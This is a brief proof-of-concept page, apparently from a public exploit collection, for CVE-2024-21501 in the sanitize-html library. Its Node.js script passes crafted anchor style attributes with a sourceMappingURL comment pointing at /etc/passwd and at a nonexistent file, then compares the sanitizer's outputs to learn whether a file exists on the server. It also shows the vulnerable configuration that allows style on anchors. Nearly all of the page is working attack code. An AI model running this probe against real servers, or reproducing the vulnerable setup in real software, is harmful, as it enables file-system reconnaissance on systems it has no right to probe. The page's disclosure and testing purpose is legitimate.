sanitize-html - CVE-2024-21501
PoC || GTFO
// index.js
const sanitizeHtml = require('sanitize-html');
const file_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/passwd */");'>@slonser_</a>`;
const file_dont_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/nopasswd */");'>@slonser_</a>`;
// vulnerable sanitize
const sanitize = (input) => sanitizeHtml(input, {
allowedAttributes: {
...sanitizeHtml.defaults.allowedAttributes,
a: ['style'],
},
});
const sanitized_exist = sanitize(file_exist);
const sanitized_dont_exist = sanitize(file_dont_exist);
console.log(sanitized_exist, "<-- response when file is found");
console.log(sanitized_dont_exist, "<-- response when file is not found");
Last updated